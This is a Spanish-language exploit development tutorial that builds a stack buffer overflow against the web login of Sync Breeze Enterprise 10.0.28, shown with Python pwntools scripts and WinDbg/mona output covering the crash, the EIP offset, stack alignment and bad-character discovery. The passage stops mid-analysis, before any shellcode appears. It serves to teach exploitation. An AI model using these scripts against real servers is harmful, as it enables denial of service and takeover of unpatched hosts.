Una vez entendimos los fundamentos básicos de explotación y el porque se ocasiona un Buffer Overflow
podemos intentar explotar una aplicación, aunque hay algunos binarios de CTFs para aprender probablemente sea mejor explotar una aplicación real con un poco mas de complejidad para desarrollar la logica de explotación.
Contenido
Exploit Development
Stack Overflow
Configuration
La aplicación utilizada será Sync Breeze EnterPrise 10.0.28 el cual nos servirá como aplicación a explotar, usando el instalador es facil de instalar solo con siguiente
Esta aplicación crea un servicio llamado Sync Breeze Enterprise
que podemos ver con el comando services.msc
, algo a tener en cuenta es que cuando crashea el programa no basta con abrirlo de nuevo sino que debemos reiniciar este servicio, algo que hacemos es modificar el usuario que lo corre a un usuario local
, esto no es necesario pero facilita el que el programa pueda interactuar con el escritorio
También será necesario habilitar el servidor web ya que ahi ocurre la vulnerabilidad
Una vez hecho esto podemos simplemente sincronizarnos al proceso syncbrs.exe
Crashing Application
Existen multiples formas de encontrar una vulnerabilidad de corrupción de memoria, algunas de las mas comunes son las siguientes:
• Fuzzing: Consiste en enviar multiples patrones de caracteres en todos los campos donde se pueda introducir un input para asi intentar corromper el programa
• Reversing: Consiste en desensamblar el programa para entender su funcionamiento y buscar las vulnerabilidades usando solo el codigo fuente de la aplicación
Las tecnicas anteriormente mencionadas son algo extensas y necesitaran su propio post para explicarlas asi que por ahora usaremos como base un exploit que se puede encontrar en exploitdb
e intentaremos explotar la aplicación partiendo solo del poc
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 1000
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al ejecutar el poc como vimos en fundamentos lo que pasara es que se sobrescribe una dirección de retorno en el stack y el registro eip termina apuntando a 0x41414141
que es el valor de AAAA
en hex, el programa no encuentra la direccion y corrompe
❯ python3 exploit.py
[+] Opening connection to Windows on port 80: Done
[*] Closed connection to Windows port 80
0:000> g
(16bc.1924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00709ddc edx=00000350 esi=006fc4ce edi=010533f0
eip=41414141 esp=01c0744c ebp=006fe420 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
Find Offset
Nuestra idea es tener control sobre el registro eip
pero para ello necesitamos cuantos bytes se necesitan antes de sobrescribirlo, para ello podemos usar mona y crear un patron de caracteres que nos ayudaran a encontrar esa cantidad de bytes
0:000> .load pykd.pyd
0:000> !py mona pattern_create 1000
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1000
Creating cyclic pattern of 1000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file
Ahora cambiamos las 1000 A's
del payload por este patrón y enviamos el exploit
#!/usr/bin/python3
from pwn import remote
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Algo a tener en cuenta es que cuando queremos volver a ejecutar la aplicación despues de que corrompe necesitamos reiniciar el servicio y volver a sincronizarnos
Una vez enviado el exploit el programa corrompe sin embargo ahora no apunta a 0x41414141
sino a 0x72413372
que es parte del patron de caracteres de mona
0:000> g
(990.1f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006dd034 edx=00000350 esi=006d614e edi=01086ac8
eip=72413372 esp=01c2744c ebp=006cec30 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
72413372 ?? ???
Ya que sabemos esto podemos usar pattern_offset
para calcular la cantidad de bytes
necesarios antes de sobrescribir el registro eip
, que son 520
bytes
0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for r3Ar in pattern of 500000 bytes
- Pattern r3Ar (0x72413372) found in cyclic pattern at position 520
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
- Pattern rA3r not found in cyclic pattern (uppercase)
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
- Pattern rA3r not found in cyclic pattern (lowercase)
Ya que sabemos el offset podemos enviar 520 A's
hasta antes de sobrescribir el eip que lo haremos con 4 B's
y enviaremos 300 C's
adicionales que se deberian guardar justo donde inicia el stack
por lo que el esp deberia apuntar a esas C's
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 300
payload = junk + ret + stack
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al ejecutar el exploit el programa corrompe y el eip apunta a 0x42424242
o BBBB
0:000> g
(1fc4.1db4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006b02c4 edx=00000350 esi=006a976e edi=01036ac8
eip=42424242 esp=01c0744c ebp=006a4920 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
42424242 ?? ???
Un problema especificamente de este programa y no de otros es que el esp apunta a 0x01c0744c
sin embargo las C's inician en 0x01c07448
que esta 4 bytes antes por lo que se pierde un dword
y si esto fuera un shellcode quitaria algunas instrucciones
0:000> dds esp - 8 L5
01c07444 42424242 (esp - 8)
01c07448 43434343 (esp - 4) [dword lost]
01c0744c 43434343 (esp + 0)
01c07450 43434343 (esp + 4)
01c07454 43434343 (esp + 8)
Para evitar ese problema agregaremos 4 C's
que seran el dword que se pierde y justo después 300 D's
que se deberian guardar justo en el stack
donde apunta esp
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
filler = b"C" * 4
stack = b"D" * 300
payload = junk + ret + filler + stack
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Si miramos la memoria ahora la dirección del esp
apunta justo donde estan las D's
0:000> dds esp - 8 L5
008e7444 42424242 (esp - 8)
008e7448 43434343 (esp - 4) [dword lost]
008e744c 44444444 (esp + 0)
008e7450 44444444 (esp + 4)
008e7454 44444444 (esp + 8)
0:000> db esp
008e744c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e745c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e746c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e747c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e748c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e749c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74ac 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74bc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Find Badchars
Algo importante es detectar bytes
que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si esto pasa en un shellcode eliminara muchas de las instrucciones y no se ejecutará
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
Modificamos el exploit para que en lugar de guardar D's
en el stack guarde nuestro bytearray de los 256
posibles caracteres para despues comparar esa direccion de memoria con el .bin
que nos creo mona de todos los posibles badchars
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
filler = b"C" * 4
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + ret + filler + badchars
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
Al enviar el exploit los 256
bytes deberian estar en el stack, asi que usando mona comparamos el .bin
con esa direccion de memoria, algo interesante es que nos marca todos los caracteres como badchars excepto 0x00
, sin embargo esto pasa porque 0x00 o null byte
se usar para indicar la terminacion de una string por lo que todo lo que esta delante de el no se escribe, nuestro primer badchars es 0x00
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 256 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c3744c | [+] Comparing with memory at location : 0x01c3744c (Stack)
0x01c3744c | Only 1 original bytes of 'normal' code found.
0x01c3744c | ,-----------------------------------------------.
0x01c3744c | | Comparison results: |
0x01c3744c | |-----------------------------------------------|
0x01c3744c | 0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x01c3744c | | fd 73 00 c8 6a 09 01 10 ef 5b 00 c0 71 08 01| Memory
0x01c3744c | 10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x01c3744c | |c8 6a 09 01 06 00 00 00 08 ab c3 01 00 00 00 00| Memory
0x01c3744c | 20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x01c3744c | |00 00 00 00 00 fd a8 00 01 00 00 00 00 00 00 00| Memory
0x01c3744c | 30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x01c3744c | |00 00 00 00 00 00 00 00 02 00 00 00 a8 c1 73 00| Memory
0x01c3744c | 40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x01c3744c | |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 a8 00| Memory
0x01c3744c | 50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x01c3744c | |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x01c3744c | |c4 d0 c3 01 f8 aa c3 01 70 74 c3 01 00 00 00 00| Memory
0x01c3744c | 70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | `-----------------------------------------------'
0x01c3744c |
0x01c3744c | | File | Memory | Note
0x01c3744c | -------------------------------------------------
0x01c3744c | 0 0 1 1 | 00 | 00 | unmodified!
0x01c3744c | 1 1 255 255 | 01 ... ff | fd ... 00 | corrupted
0x01c3744c |
0x01c3744c | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0x01c3744c |
Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00
, esto creará un .bin
que elimina al inicio el null byte, además eliminamos ese byte
del exploit
0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Enviamos el exploit y al comparar stack con el .bin
omite 0x00
y hasta el byte 0x09
los bytes son los mismos sin embargo parece que 0x0a
no se llega a escribir correctamente en el stack por lo que el propio mona nos lo sugiere como badchar
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 255 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | Only 10 original bytes of 'normal' code found.
0x01c2744c | ,-----------------------------------------------.
0x01c2744c | | Comparison results: |
0x01c2744c | |-----------------------------------------------|
0x01c2744c | 0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File
0x01c2744c | | 00 a8 00 78 71 01| Memory
0x01c2744c | 10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File
0x01c2744c | |c8 6a 10 01 06 00 00 00 08 ab c2 01 00 00 00 00| Memory
0x01c2744c | 20 |21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30| File
0x01c2744c | |00 00 00 00 00 fd 8a 00 01 00 00 00 00 00 00 00| Memory
0x01c2744c | 30 |31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40| File
0x01c2744c | |00 00 00 00 00 00 00 00 02 00 00 00 98 b0 65 00| Memory
0x01c2744c | 40 |41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50| File
0x01c2744c | |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 8a 00| Memory
0x01c2744c | 50 |51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60| File
0x01c2744c | |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
